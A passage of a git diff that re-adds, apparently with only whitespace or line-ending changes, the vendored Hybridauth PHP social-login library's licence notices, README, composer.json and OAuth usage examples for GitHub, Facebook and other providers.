any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. - - ------------------------ - - -Hybridauth includes a copy of LightOpenID, licensed as follows: - - Copyright (c) 2013-2016 Mewp (mewp151 at gmail dot com) - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. - - ------------------------ - - -Hybridauth includes a modified copy of OAuth PHP Library, licensed as follows: - - Copyright (c) 2007-2011 Andy Smith - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. +Except where otherwise noted in the source code (i.e., LightOpenID and OAuth +Library, which are covered by similar licences but with different Copyright +notices) all the files are: + + Copyright (C) 2009-2019, Hybridauth authors. All Rights Reserved. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + + +----------------------- + + +Hybridauth includes a copy of LightOpenID, licensed as follows: + + Copyright (c) 2013-2016 Mewp (mewp151 at gmail dot com) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + + +----------------------- + + +Hybridauth includes a modified copy of OAuth PHP Library, licensed as follows: + + Copyright (c) 2007-2011 Andy Smith + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/hybridauth/hybridauth/ISSUE_TEMPLATE.md b/vendor/hybridauth/hybridauth/ISSUE_TEMPLATE.md index e2d7da1003..8d8005f2cc 100644 --- a/vendor/hybridauth/hybridauth/ISSUE_TEMPLATE.md +++ b/vendor/hybridauth/hybridauth/ISSUE_TEMPLATE.md @@ -1,13 +1,13 @@ -## Bug, feature or question? - -Is this a bug, a feature request or a question? -Give us a short description. - -### Version and provider - -What version of Hybrid Auth does this relates to? -Is this an issue with a provider? If yes, which one? - -### Reproduction - -How can we replicate this issue? +## Bug, feature or question? + +Is this a bug, a feature request or a question? +Give us a short description. + +### Version and provider + +What version of Hybrid Auth does this relates to? +Is this an issue with a provider? If yes, which one? + +### Reproduction + +How can we replicate this issue? diff --git a/vendor/hybridauth/hybridauth/PULL_REQUEST_TEMPLATE.md b/vendor/hybridauth/hybridauth/PULL_REQUEST_TEMPLATE.md index 147b4adb3d..acff874920 100644 --- a/vendor/hybridauth/hybridauth/PULL_REQUEST_TEMPLATE.md +++ b/vendor/hybridauth/hybridauth/PULL_REQUEST_TEMPLATE.md @@ -1,9 +1,9 @@ -| Q                       | A -| ------------------------ | --- -| Fixed Issues? | `Fixes #1, Fixes #2` -| Patch: Bug Fix? | -| Major: Breaking Change? | -| Minor: New Feature? | - - - +| Q                       | A +| ------------------------ | --- +| Fixed Issues? | `Fixes #1, Fixes #2` +| Patch: Bug Fix? | +| Major: Breaking Change? | +| Minor: New Feature? | + + + diff --git a/vendor/hybridauth/hybridauth/README.md b/vendor/hybridauth/hybridauth/README.md index f68c4c324d..6ad53b2f5b 100644 --- a/vendor/hybridauth/hybridauth/README.md +++ b/vendor/hybridauth/hybridauth/README.md @@ -1,67 +1,67 @@ -## [Hybridauth](https://hybridauth.github.io/) 3.7.1 - -[![Build Status](https://travis-ci.org/hybridauth/hybridauth.svg?branch=master)](https://travis-ci.org/hybridauth/hybridauth) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/hybridauth/hybridauth/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/hybridauth/hybridauth/?branch=master) [![Latest Stable Version](https://poser.pugx.org/hybridauth/hybridauth/v/stable.png)](https://packagist.org/packages/hybridauth/hybridauth) [![Join the chat at https://gitter.im/hybridauth/hybridauth](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/hybridauth/hybridauth?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) - -Hybridauth enables developers to easily build social applications and tools to engage websites visitors and customers on a social level that starts off with social sign-in and extends to social sharing, users profiles, friends lists, activities streams, status updates and more. - -The main goal of Hybridauth is to act as an abstract API between your application and the various social networks APIs and identities providers such as Facebook, Twitter and Google. - -#### Usage - -Hybridauth provides a number of basic [examples](https://github.com/hybridauth/hybridauth/tree/master/examples). You can also find complete Hybridauth documentation at https://hybridauth.github.io - -```php -$config = [ - 'callback' => 'https://example.com/path/to/script.php', - 'keys' => [ - 'key' => 'your-twitter-consumer-key', - 'secret' => 'your-twitter-consumer-secret', - ], -]; - -try { - $twitter = new Hybridauth\Provider\Twitter($config); - - $twitter->authenticate(); - - $accessToken = $twitter->getAccessToken(); - $userProfile = $twitter->getUserProfile(); - $apiResponse = $twitter->apiRequest('statuses/home_timeline.json'); -} -catch (\Exception $e) { - echo 'Oops, we ran into an issue! ' . $e->getMessage(); -} -``` - -#### Requirements - -* PHP 5.4+ -* PHP Session -* PHP cURL - -#### Installation - -To install Hybridauth we recommend [Composer](https://getcomposer.org/), the now defacto dependency manager for PHP. Alternatively, you can download and use the latest release available at [Github](https://github.com/hybridauth/hybridauth/releases). - -#### Versions Status - -| Version | Status | Repository | Documentation | PHP Version | -|---------|-------------|-------------------------|-------------------------|-------------| -| 2.x | Maintenance | [v2][hybridauth-2-repo] | [v2][hybridauth-2-docs] | >= 5.3 | -| 3.x | Development | [v3][hybridauth-3-repo] | [v3][hybridauth-3-docs] | >= 5.4 | -| 4.x | Future | -- | -- | >= 7.3 | - -[hybridauth-2-repo]: https://github.com/hybridauth/hybridauth/tree/v2 -[hybridauth-3-repo]: https://github.com/hybridauth/hybridauth/ -[hybridauth-2-docs]: https://hybridauth.github.io/hybridauth/ -[hybridauth-3-docs]: https://hybridauth.github.io/ - -#### Questions, Help and Support? - -For general questions (i.e, "how-to" questions), please consider using [StackOverflow](https://stackoverflow.com/questions/tagged/hybridauth) instead of the Github issues tracker. For convenience, we also have a [low-activity] [Gitter channel](https://gitter.im/hybridauth/hybridauth) if you want to get help directly from the community. - -#### License - -Hybridauth PHP Library is released under the terms of MIT License. - -For the full Copyright Notice and Disclaimer, see [COPYING.md](https://github.com/hybridauth/hybridauth/blob/master/COPYING.md). +## [Hybridauth](https://hybridauth.github.io/) 3.7.1 + +[![Build Status](https://travis-ci.org/hybridauth/hybridauth.svg?branch=master)](https://travis-ci.org/hybridauth/hybridauth) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/hybridauth/hybridauth/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/hybridauth/hybridauth/?branch=master) [![Latest Stable Version](https://poser.pugx.org/hybridauth/hybridauth/v/stable.png)](https://packagist.org/packages/hybridauth/hybridauth) [![Join the chat at https://gitter.im/hybridauth/hybridauth](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/hybridauth/hybridauth?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) + +Hybridauth enables developers to easily build social applications and tools to engage websites visitors and customers on a social level that starts off with social sign-in and extends to social sharing, users profiles, friends lists, activities streams, status updates and more. + +The main goal of Hybridauth is to act as an abstract API between your application and the various social networks APIs and identities providers such as Facebook, Twitter and Google. + +#### Usage + +Hybridauth provides a number of basic [examples](https://github.com/hybridauth/hybridauth/tree/master/examples). You can also find complete Hybridauth documentation at https://hybridauth.github.io + +```php +$config = [ + 'callback' => 'https://example.com/path/to/script.php', + 'keys' => [ + 'key' => 'your-twitter-consumer-key', + 'secret' => 'your-twitter-consumer-secret', + ], +]; + +try { + $twitter = new Hybridauth\Provider\Twitter($config); + + $twitter->authenticate(); + + $accessToken = $twitter->getAccessToken(); + $userProfile = $twitter->getUserProfile(); + $apiResponse = $twitter->apiRequest('statuses/home_timeline.json'); +} +catch (\Exception $e) { + echo 'Oops, we ran into an issue! ' . $e->getMessage(); +} +``` + +#### Requirements + +* PHP 5.4+ +* PHP Session +* PHP cURL + +#### Installation + +To install Hybridauth we recommend [Composer](https://getcomposer.org/), the now defacto dependency manager for PHP. Alternatively, you can download and use the latest release available at [Github](https://github.com/hybridauth/hybridauth/releases). + +#### Versions Status + +| Version | Status | Repository | Documentation | PHP Version | +|---------|-------------|-------------------------|-------------------------|-------------| +| 2.x | Maintenance | [v2][hybridauth-2-repo] | [v2][hybridauth-2-docs] | >= 5.3 | +| 3.x | Development | [v3][hybridauth-3-repo] | [v3][hybridauth-3-docs] | >= 5.4 | +| 4.x | Future | -- | -- | >= 7.3 | + +[hybridauth-2-repo]: https://github.com/hybridauth/hybridauth/tree/v2 +[hybridauth-3-repo]: https://github.com/hybridauth/hybridauth/ +[hybridauth-2-docs]: https://hybridauth.github.io/hybridauth/ +[hybridauth-3-docs]: https://hybridauth.github.io/ + +#### Questions, Help and Support? + +For general questions (i.e, "how-to" questions), please consider using [StackOverflow](https://stackoverflow.com/questions/tagged/hybridauth) instead of the Github issues tracker. For convenience, we also have a [low-activity] [Gitter channel](https://gitter.im/hybridauth/hybridauth) if you want to get help directly from the community. + +#### License + +Hybridauth PHP Library is released under the terms of MIT License. + +For the full Copyright Notice and Disclaimer, see [COPYING.md](https://github.com/hybridauth/hybridauth/blob/master/COPYING.md). diff --git a/vendor/hybridauth/hybridauth/composer.json b/vendor/hybridauth/hybridauth/composer.json index 6b60a8abd1..c6e460dd8b 100644 --- a/vendor/hybridauth/hybridauth/composer.json +++ b/vendor/hybridauth/hybridauth/composer.json @@ -1,39 +1,39 @@ -{ - "name": "hybridauth/hybridauth", - "description": "PHP Social Authentication Library", - "keywords": ["oauth", "openid", "authentication", "authorization", "social", "api", "google", "facebook", "twitter", "apple"], - "homepage": "https://hybridauth.github.io", - "type": "library", - "license": "MIT", - "authors": [ - { - "name": "Miled", - "email": "hybridauth@gmail.com" - } - ], - "support": { - "issues": "https://github.com/hybridauth/hybridauth/issues", - "gitter": "https://gitter.im/hybridauth/hybridauth" - }, - "require": { - "php": "^5.4 || ^7.0 || ^8.0" - }, - "require-dev": { - "ext-curl": "*", - "phpunit/phpunit": "^4.8.35 || ^6.5 || ^8.0" - }, - "suggest": { - "firebase/php-jwt": "Needed to support Apple provider", - "phpseclib/phpseclib": "Needed to support Apple provider" - }, - "autoload": { - "psr-4": { - "Hybridauth\\": "src/" - } - }, - "autoload-dev": { - "psr-4": { - "HybridauthTest\\Hybridauth\\": "test/" - } - } -} +{ + "name": "hybridauth/hybridauth", + "description": "PHP Social Authentication Library", + "keywords": ["oauth", "openid", "authentication", "authorization", "social", "api", "google", "facebook", "twitter", "apple"], + "homepage": "https://hybridauth.github.io", + "type": "library", + "license": "MIT", + "authors": [ + { + "name": "Miled", + "email": "hybridauth@gmail.com" + } + ], + "support": { + "issues": "https://github.com/hybridauth/hybridauth/issues", + "gitter": "https://gitter.im/hybridauth/hybridauth" + }, + "require": { + "php": "^5.4 || ^7.0 || ^8.0" + }, + "require-dev": { + "ext-curl": "*", + "phpunit/phpunit": "^4.8.35 || ^6.5 || ^8.0" + }, + "suggest": { + "firebase/php-jwt": "Needed to support Apple provider", + "phpseclib/phpseclib": "Needed to support Apple provider" + }, + "autoload": { + "psr-4": { + "Hybridauth\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "HybridauthTest\\Hybridauth\\": "test/" + } + } +} diff --git a/vendor/hybridauth/hybridauth/examples/README.md b/vendor/hybridauth/hybridauth/examples/README.md index 82a4b31bbc..af9022d79f 100644 --- a/vendor/hybridauth/hybridauth/examples/README.md +++ b/vendor/hybridauth/hybridauth/examples/README.md @@ -1,12 +1,12 @@ -Hybridauth 3 Examples -====================== - -File | Description --------------- | ------------------------------------------------------------------------------ -example_01.php | This simple example illustrate how to authenticate users with GitHub. If you're new to Hybridauth, this file is the one you'll likely want to check. -example_02.php | Details how to use users in a similar fashion to Hybridauth 2. Note that while Hybridauth 3 provides a similar interface to Hybridauth 2, both versions are not fully compatible with each other. -example_03.php | An example on how use Access Tokens to access providers APIs, and how to setup custom API endpoints. -example_04.php | A simple example that shows how to connect users to providers using OpenID. -example_05.php | A simple example that shows how to use Guzzle as a Http Client for Hybridauth instead of PHP Curl extension. -example_06/ | A simple example that shows how to organize multiple providers. -example_07/ | A simple example that shows how to organize multiple providers, using a pop-up. +Hybridauth 3 Examples +====================== + +File | Description +-------------- | ------------------------------------------------------------------------------ +example_01.php | This simple example illustrate how to authenticate users with GitHub. If you're new to Hybridauth, this file is the one you'll likely want to check. +example_02.php | Details how to use users in a similar fashion to Hybridauth 2. Note that while Hybridauth 3 provides a similar interface to Hybridauth 2, both versions are not fully compatible with each other. +example_03.php | An example on how use Access Tokens to access providers APIs, and how to setup custom API endpoints. +example_04.php | A simple example that shows how to connect users to providers using OpenID. +example_05.php | A simple example that shows how to use Guzzle as a Http Client for Hybridauth instead of PHP Curl extension. +example_06/ | A simple example that shows how to organize multiple providers. +example_07/ | A simple example that shows how to organize multiple providers, using a pop-up. diff --git a/vendor/hybridauth/hybridauth/examples/example_01.php b/vendor/hybridauth/hybridauth/examples/example_01.php index f88a5e251b..86419858da 100644 --- a/vendor/hybridauth/hybridauth/examples/example_01.php +++ b/vendor/hybridauth/hybridauth/examples/example_01.php @@ -1,187 +1,187 @@ - Hybridauth\HttpClient\Util::getCurrentUrl() - * - * After configuring your GitHub application, simple replace 'your-app-id' and 'your-app-secret' - * with your application credentials (Client ID and Client Secret). - * - * Providers who uses OAuth 2.0 protocol (i.g., GitHub, Facebook, Google, etc.) may need - * an Authorization scope as additional parameter. Authorization scopes are strings that - * enable access to particular resources, such as user data. - * - * https://developer.github.com/v3/oauth/ - * https://developer.github.com/v3/oauth/#scopes - */ - -$config = [ - 'callback' => 'https://path/to/hybridauth/examples/example_01.php', // or Hybridauth\HttpClient\Util::getCurrentUrl() - - 'keys' => ['id' => 'your-app-id', 'secret' => 'your-app-secret'], // Your Github application credentials - - /* optional : set scope - 'scope' => 'user:email', */ - - /* optional : set debug mode - 'debug_mode' => true, - // Path to file writeable by the web server. Required if 'debug_mode' is not false - 'debug_file' => __FILE__ . '.log', */ - - /* optional : customize Curl settings - // for more information on curl, refer to: http://www.php.net/manual/fr/function.curl-setopt.php - 'curl_options' => [ - // setting custom certificates - CURLOPT_SSL_VERIFYPEER => true, - CURLOPT_CAINFO => '/path/to/your/certificate.crt', - - // set a valid proxy ip address - CURLOPT_PROXY => '*.*.*.*:*', - - // set a custom user agent - CURLOPT_USERAGENT => '' - ] */ -]; - -/** - * Step 3: Instantiate Github Adapter - * - * This example instantiates a GitHub adapter using the array $config we just built. - */ - -$github = new Hybridauth\Provider\GitHub($config); - -/** - * Step 4: Authenticating Users - * - * When invoked, `authenticate()` will redirect users to GitHub login page where they - * will be asked to grant access to your application. If they do, GitHub will redirect - * the users back to Authorization callback URL (i.e., this script). - * - * Note that GitHub and few other providers will ask their users for authorisation - * only once. - */ - -$github->authenticate(); - -/** - * Step 5: Retrieve Users Profiles - * - * Calling getUserProfile returns an instance of class Hybridauth\User\Profile which contain the - * connected user's profile in simple and standardized structure across all the social APIs supported - * by Hybridauth. - */ - -$userProfile = $github->getUserProfile(); - -echo 'Hi ' . $userProfile->displayName; - -/** - * Bonus: Access GitHub API - * - * Now that the user is authenticated with Gihub, and depending on the authorization given to your - * application, you should be able to query the said API on behalf of the user. - * - * As an example we list the authenticated user's public gists. - */ - -$apiResponse = $github->apiRequest('gists'); - -/** - * Step 6: Disconnect the adapter - * - * This will erase the current user authentication data from session, and any further - * attempt to communicate with Github API will result on an authorisation exception. - */ - -$github->disconnect(); - -/** - * Final note: Catching Exceptions - * - * Hybridauth use exceptions extensively and it's important that these exceptions - * be properly caught/handled in your code. - * - * Below is a basic example of how to catch exceptions. - * - * Note that on the previous step we disconnected from the API; meaning Hybridauth - * has erased the oauth access token used to sign http requests from the current - * session, thus, any new request we now make will now throw an exception. - * - * It's important that you don't show Hybridauth exception's messages to the end user as - * they may include sensitive data, and that you use your own error messages instead. - */ - -try { - $github->getUserProfile(); -} - -/** - * Catch Curl Errors - * - * This kind of error may happen in case of: - * - Internet or Network issues. - * - Your server configuration is not setup correctly. - * - * The full list of curl errors that may happen can be found at http://curl.haxx.se/libcurl/c/libcurl-errors.html - */ -catch (Hybridauth\Exception\HttpClientFailureException $e) { - echo 'Curl text error message : ' . $github->getHttpClient()->getResponseClientError(); -} - -/** - * Catch API Requests Errors - * - * This usually happens when requesting a: - * - Wrong URI or a mal-formatted http request. - * - Protected resource without providing a valid access token. - */ -catch (Hybridauth\Exception\HttpRequestFailedException $e) { - echo 'Raw API Response: ' . $github->getHttpClient()->getResponseBody(); -} - -/** - * Base PHP's exception that catches everything [else] - */ -catch (\Exception $e) { - echo 'Oops! We ran into an unknown issue: ' . $e->getMessage(); -} + Hybridauth\HttpClient\Util::getCurrentUrl() + * + * After configuring your GitHub application, simple replace 'your-app-id' and 'your-app-secret' + * with your application credentials (Client ID and Client Secret). + * + * Providers who uses OAuth 2.0 protocol (i.g., GitHub, Facebook, Google, etc.) may need + * an Authorization scope as additional parameter. Authorization scopes are strings that + * enable access to particular resources, such as user data. + * + * https://developer.github.com/v3/oauth/ + * https://developer.github.com/v3/oauth/#scopes + */ + +$config = [ + 'callback' => 'https://path/to/hybridauth/examples/example_01.php', // or Hybridauth\HttpClient\Util::getCurrentUrl() + + 'keys' => ['id' => 'your-app-id', 'secret' => 'your-app-secret'], // Your Github application credentials + + /* optional : set scope + 'scope' => 'user:email', */ + + /* optional : set debug mode + 'debug_mode' => true, + // Path to file writeable by the web server. Required if 'debug_mode' is not false + 'debug_file' => __FILE__ . '.log', */ + + /* optional : customize Curl settings + // for more information on curl, refer to: http://www.php.net/manual/fr/function.curl-setopt.php + 'curl_options' => [ + // setting custom certificates + CURLOPT_SSL_VERIFYPEER => true, + CURLOPT_CAINFO => '/path/to/your/certificate.crt', + + // set a valid proxy ip address + CURLOPT_PROXY => '*.*.*.*:*', + + // set a custom user agent + CURLOPT_USERAGENT => '' + ] */ +]; + +/** + * Step 3: Instantiate Github Adapter + * + * This example instantiates a GitHub adapter using the array $config we just built. + */ + +$github = new Hybridauth\Provider\GitHub($config); + +/** + * Step 4: Authenticating Users + * + * When invoked, `authenticate()` will redirect users to GitHub login page where they + * will be asked to grant access to your application. If they do, GitHub will redirect + * the users back to Authorization callback URL (i.e., this script). + * + * Note that GitHub and few other providers will ask their users for authorisation + * only once. + */ + +$github->authenticate(); + +/** + * Step 5: Retrieve Users Profiles + * + * Calling getUserProfile returns an instance of class Hybridauth\User\Profile which contain the + * connected user's profile in simple and standardized structure across all the social APIs supported + * by Hybridauth. + */ + +$userProfile = $github->getUserProfile(); + +echo 'Hi ' . $userProfile->displayName; + +/** + * Bonus: Access GitHub API + * + * Now that the user is authenticated with Gihub, and depending on the authorization given to your + * application, you should be able to query the said API on behalf of the user. + * + * As an example we list the authenticated user's public gists. + */ + +$apiResponse = $github->apiRequest('gists'); + +/** + * Step 6: Disconnect the adapter + * + * This will erase the current user authentication data from session, and any further + * attempt to communicate with Github API will result on an authorisation exception. + */ + +$github->disconnect(); + +/** + * Final note: Catching Exceptions + * + * Hybridauth use exceptions extensively and it's important that these exceptions + * be properly caught/handled in your code. + * + * Below is a basic example of how to catch exceptions. + * + * Note that on the previous step we disconnected from the API; meaning Hybridauth + * has erased the oauth access token used to sign http requests from the current + * session, thus, any new request we now make will now throw an exception. + * + * It's important that you don't show Hybridauth exception's messages to the end user as + * they may include sensitive data, and that you use your own error messages instead. + */ + +try { + $github->getUserProfile(); +} + +/** + * Catch Curl Errors + * + * This kind of error may happen in case of: + * - Internet or Network issues. + * - Your server configuration is not setup correctly. + * + * The full list of curl errors that may happen can be found at http://curl.haxx.se/libcurl/c/libcurl-errors.html + */ +catch (Hybridauth\Exception\HttpClientFailureException $e) { + echo 'Curl text error message : ' . $github->getHttpClient()->getResponseClientError(); +} + +/** + * Catch API Requests Errors + * + * This usually happens when requesting a: + * - Wrong URI or a mal-formatted http request. + * - Protected resource without providing a valid access token. + */ +catch (Hybridauth\Exception\HttpRequestFailedException $e) { + echo 'Raw API Response: ' . $github->getHttpClient()->getResponseBody(); +} + +/** + * Base PHP's exception that catches everything [else] + */ +catch (\Exception $e) { + echo 'Oops! We ran into an unknown issue: ' . $e->getMessage(); +} diff --git a/vendor/hybridauth/hybridauth/examples/example_02.php b/vendor/hybridauth/hybridauth/examples/example_02.php index 91019864fb..0d93ad975f 100644 --- a/vendor/hybridauth/hybridauth/examples/example_02.php +++ b/vendor/hybridauth/hybridauth/examples/example_02.php @@ -1,75 +1,75 @@ - HttpClient\Util::getCurrentUrl(), - - 'providers' => [ - 'GitHub' => [ - 'enabled' => true, - 'keys' => ['id' => '', 'secret' => ''], - ], - - 'Google' => [ - 'enabled' => true, - 'keys' => ['id' => '', 'secret' => ''], - ], - - 'Facebook' => [ - 'enabled' => true, - 'keys' => ['id' => '', 'secret' => ''], - ], - - 'Twitter' => [ - 'enabled' => true, - 'keys' => ['key' => '', 'secret' => ''], - ] - ], - - /* optional : set debug mode - 'debug_mode' => true, - // Path to file writeable by the web server. Required if 'debug_mode' is not false - 'debug_file' => __FILE__ . '.log', */ - - /* optional : customize Curl settings - // for more information on curl, refer to: http://www.php.net/manual/fr/function.curl-setopt.php - 'curl_options' => [ - // setting custom certificates - CURLOPT_SSL_VERIFYPEER => true, - CURLOPT_CAINFO => '/path/to/your/certificate.crt', - - // set a valid proxy ip address - CURLOPT_PROXY => '*.*.*.*:*', - - // set a custom user agent - CURLOPT_USERAGENT => '' - ] */ -]; - -try { - $hybridauth = new Hybridauth($config); - - $adapter = $hybridauth->authenticate('GitHub'); - - // $adapter = $hybridauth->authenticate('Google'); - // $adapter = $hybridauth->authenticate('Facebook'); - // $adapter = $hybridauth->authenticate('Twitter'); - - $tokens = $adapter->getAccessToken(); - $userProfile = $adapter->getUserProfile(); - - // print_r($tokens); - // print_r($userProfile); - - $adapter->disconnect(); -} catch (\Exception $e) { - echo $e->getMessage(); -} + HttpClient\Util::getCurrentUrl(), + + 'providers' => [ + 'GitHub' => [ + 'enabled' => true, + 'keys' => ['id' => '', 'secret' => ''], + ], + + 'Google' => [ + 'enabled' => true, + 'keys' => ['id' => '', 'secret' => ''], + ], + + 'Facebook' => [ + 'enabled' => true, + 'keys' => ['id' => '', 'secret' => ''], + ], + + 'Twitter' => [ + 'enabled' => true, + 'keys' => ['key' => '', 'secret' => ''], + ] + ], + + /* optional : set debug mode + 'debug_mode' => true, + // Path to file writeable by the web server. Required if 'debug_mode' is not false + 'debug_file' => __FILE__ . '.log', */ + + /* optional : customize Curl settings + // for more information on curl, refer to: http://www.php.net/manual/fr/function.curl-setopt.php + 'curl_options' => [ + // setting custom certificates + CURLOPT_SSL_VERIFYPEER => true, + CURLOPT_CAINFO => '/path/to/your/certificate.crt', + + // set a valid proxy ip address + CURLOPT_PROXY => '*.*.*.*:*', + + // set a custom user agent + CURLOPT_USERAGENT => '' + ] */ +]; + +try { + $hybridauth = new Hybridauth($config); + + $adapter = $hybridauth->authenticate('GitHub'); + + // $adapter = $hybridauth->authenticate('Google'); + // $adapter = $hybridauth->authenticate('Facebook'); + // $adapter = $hybridauth->authenticate('Twitter'); + + $tokens = $adapter->getAccessToken(); + $userProfile = $adapter->getUserProfile(); + + // print_r($tokens); + // print_r($userProfile); + + $adapter->disconnect(); +} catch (\Exception $e) { + echo $e->getMessage(); +} diff --git a/vendor/hybridauth/hybridauth/examples/example_03.php b/vendor/hybridauth/hybridauth/examples/example_03.php index 0c5b1a58f9..4065e45f07 100644 --- a/vendor/hybridauth/hybridauth/examples/example_03.php +++ b/vendor/hybridauth/hybridauth/examples/example_03.php @@ -1,32 +1,32 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - - 'keys' => ['id' => 'your-facebook-app-id', 'secret' => 'your-facebook-app-secret'], - - 'endpoints' => [ - 'api_base_url' => 'https://graph.facebook.com/v2.8/', - 'authorize_url' => 'https://www.facebook.com/dialog/oauth', - 'access_token_url' => 'https://graph.facebook.com/oauth/access_token', - ] -]; - -try { - $adapter = new Hybridauth\Provider\Facebook($config); - - $adapter->setAccessToken(['access_token' => 'user-facebook-access-token']); - - $userProfile = $adapter->getUserProfile(); - - // print_r($userProfile); - - $adapter->disconnect(); -} catch (Exception $e) { - echo $e->getMessage(); -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + + 'keys' => ['id' => 'your-facebook-app-id', 'secret' => 'your-facebook-app-secret'], + + 'endpoints' => [ + 'api_base_url' => 'https://graph.facebook.com/v2.8/', + 'authorize_url' => 'https://www.facebook.com/dialog/oauth', + 'access_token_url' => 'https://graph.facebook.com/oauth/access_token', + ] +]; + +try { + $adapter = new Hybridauth\Provider\Facebook($config); + + $adapter->setAccessToken(['access_token' => 'user-facebook-access-token']); + + $userProfile = 